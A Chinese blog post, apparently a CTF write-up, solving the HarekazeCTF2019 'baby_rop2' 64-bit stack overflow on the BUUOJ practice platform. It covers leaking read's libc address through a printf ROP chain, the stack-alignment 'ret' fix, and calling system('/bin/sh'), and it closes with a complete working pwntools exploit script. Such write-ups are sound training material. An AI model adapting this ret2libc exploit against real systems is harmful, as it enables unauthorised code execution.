一道简单的栈溢出 HarekazeCTF2019]baby_rop2

看了几天堆的题看疯了,做了几道题没感觉就知道今天被降智打击了,那还是整理一下简单的栈溢出题目划划水

首先file看一下

 

64位 没啥特殊的

再checksec一下

 

 和没开保护差不多

ida里瞟一眼程序

 

好家伙这么明显,我tm直接溢出

 

 

 

 看看有啥溢出的got表————就决定是你了read

由于是64位使用寄存器传参,所以用ropgadget看一下

 

然后愉快的开始标准操作,然而这道题不讲武德,来骗,来偷袭

一开始payload构造的是:

payload='a'*0x20+p64(0)+p64(rdi_ret)+p64(format)+p64(pop_rsi)+p64(read_got)+p64(printf_plt)+p64(main_addr)

死活通不过,自我怀疑了半小时,直到我看到了这个

 

 

 这tm啥跟啥啊,直接疑惑,然后翻到评论

 

 这么神奇的吗?

试了一下,不愧是大佬,小弟甘拜下风

得到read的地址后通过libcsearcher函数得到libc基址,在得到system函数以及/bin/sh后重新溢出劫持返回函数就行了

 

 不是吧不是吧,最后一下还要搞我,直接find -name flag走起

最后也是成功拿到flag

 总结:

就是懒,没啥好说的,距离上一次做栈的题目都快过了半个月了,然后就忘得差不多了,然后64位这个栈的对齐真的坑,over。

 

最后贴一下exp

from LibcSearcher import *
from pwn import *
p=remote('node3.buuoj.cn',27060)
#p=process('./babyrop2')
elf=ELF('./babyrop2')

pop_rsi=0x0000000000400731
format=0x0000000000400770
rdi_ret=0x0000000000400733
ret=0x00000000004004d1
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
read_got=elf.got['read']
main_addr=elf.symbols['main']
p.recvuntil('name? ')
payload='a'*0x20+p64(0)+p64(rdi_ret)+p64(format)+p64(pop_rsi)+p64(read_got)+p64(ret)+p64(printf_plt)+p64(main_addr)
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print("addr=0x%x"%read_addr)

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
sys=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
print("%x"%bin_sh)

p.recvuntil('name? ')
payload2='a'*0x20+p64(0)+p64(rdi_ret)+p64(bin_sh)+p64(sys)
p.sendline(payload2)
p.interactive()

 

posted @ 2021-03-07 21:21  Haokunnnnnnnna  阅读(131)  评论(0编辑  收藏  举报